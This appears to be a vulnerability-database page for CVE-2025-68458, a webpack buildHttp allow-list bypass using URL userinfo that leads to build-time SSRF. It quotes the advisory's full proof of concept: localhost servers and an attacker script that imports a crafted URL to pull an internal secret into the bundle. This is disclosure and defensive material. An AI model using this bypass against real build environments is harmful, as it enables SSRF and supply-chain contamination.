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webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior

CVSS 3.1 3.7 LOWEUVD CVSS 3.1 3.7 CVSS 3.1 · [email protected] · Secondary 3.7 LOWCVSS_V3 Publisher rating LOWFixed by webpack 5.104.1KEV status unknown

cve-program · CVE-2025-68458

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.

Read the publisher's advisory

euvd · EUVD-2025-206877

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.

Read the publisher's advisory

nvd · CVE-2025-68458

Published

Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.

Read the publisher's advisory

osv · GHSA-8fgc-7cc6-rx7x

Published

### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) can be bypassed to fetch resources from **hosts outside `allowedUris`** by using crafted URLs that include **userinfo** (`username:password@host`). If `allowedUris` enforcement relies on a **raw string prefix check** (e.g., `uri.startsWith(allowed)`), a URL that *looks* allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (outbound requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion** (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache. Reproduced on: - webpack version: **5.104.0** - Node version: **v18.19.1** ### Details **Root cause (high level):** `allowedUris` validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., `new URL(uri)`), which interprets the **authority** as the part after `@`. Example crafted URL: - `http://127.0.0.1:[email protected]:9100/secret.js` If the allow-list is `["http://127.0.0.1:9000"]`, then: - Raw string check: `crafted.startsWith("http://127.0.0.1:9000")` → **true** - URL parsing (WHAT `new URL()` will contact): `origin` → `http://127.0.0.1:9100` (host/port after `@`) As a result, webpack fetches `http://127.0.0.1:9100/secret.js` even though `allowedUris` only included `http://127.0.0.1:9000`. **Evidence from reproduction:** - Server logs showed the internal-only endpoint being fetched: - `[internal] 200 /secret.js served (...)` (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the **bundle** - the internal secret marker was present in the **buildHttp cache** <img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const ALLOWED_PORT = 9000; // allowlisted-looking host const INTERNAL_PORT = 9100; // actual target if bypass succeeds const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `// internal-only\n` + `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWED_PORT, (req, res) => { console.log(`[allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(`export default "ALLOWED_HOST_WAS_HIT_UNEXPECTEDLY";\n`); }); // Internal-only service (SSRF-like target) await listen(INTERNAL_PORT, (req, res) => { if (req.url === "/secret.js") { console.log(`[internal] 200 /secret.js served (secret=${secret})`); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log(`[internal] 404 ${req.method} ${req.url}`); res.statusCode = 404; res.end("not found"); }); console.log("\nServers up:"); console.log(`- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWED_PORT}/`); console.log(`- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNAL_PORT}/secret.js`); })(); ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); function fmtBool(b) { return b ? "✅" : "❌"; } async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } } (async () => { const webpackVersion = require("webpack/package.json").version; const ALLOWED_PORT = 9000; const INTERNAL_PORT = 9100; // NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = `http://127.0.0.1:${ALLOWED_PORT}`; // Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNAL_PORT const crafted = `http://127.0.0.1:${ALLOWED_PORT}@127.0.0.1:${INTERNAL_PORT}/secret.js`; const parsed = new URL(crafted); const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; console.log("\n[ENV]"); console.log(`- webpack version: ${webpackVersion}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`); console.log("\n[CRAFTED URL]"); console.log(`- import specifier: ${crafted}`); console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`); console.log(`- WHAT URL() parses:`); console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`); console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`); console.log(` - hostname: ${parsed.hostname}`); console.log(` - port: ${parsed.port}`); console.log(` - origin: ${parsed.origin}`); console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`); const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const foundSecret = m ? m[0] : null; console.log("\n[RESULT]"); console.log(`- temp dir: ${tmp}`); console.log(`- bundle: ${bundlePath}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log("\n[SECURITY CHECK]"); console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`); if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret); const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } } console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected vs Actual Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed). Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache. ### Impact Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs. Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2025-68458

Published

webpack

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "webpack",
                    "product": "webpack",
                    "versions": [
                        {
                            "version": ">= 5.49.0, < 5.104.1",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2025-206877

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 5, 2026, 11:08:01 PM

dateUpdated: Feb 6, 2026, 8:26:59 PM

5 related source bulletins · separate from aliases

RHSA-2026:41944: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.20 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:83622: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.28 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-22029 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-33186

RHSA-2026:41941: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.18.25 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-47907 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:40984: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.20.15 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:83619: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.36 security, enhancement & bug fix update

CVE-2025-13465 · CVE-2025-15284 · CVE-2025-61726 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-33186 · CVE-2026-33814 · CVE-2026-34986

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2025-68458

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-918

Original publisher date fields

published: 2026-02-05T23:15:53.940

lastModified: 2026-06-17T09:59:05.960

1 source CPE criteria · context only
  • cpe:2.3:a:webpack.js:webpack:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-8fgc-7cc6-rx7x

Published

webpack

npm

SEMVER · introduced 5.49.0 → fixed 5.104.1

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

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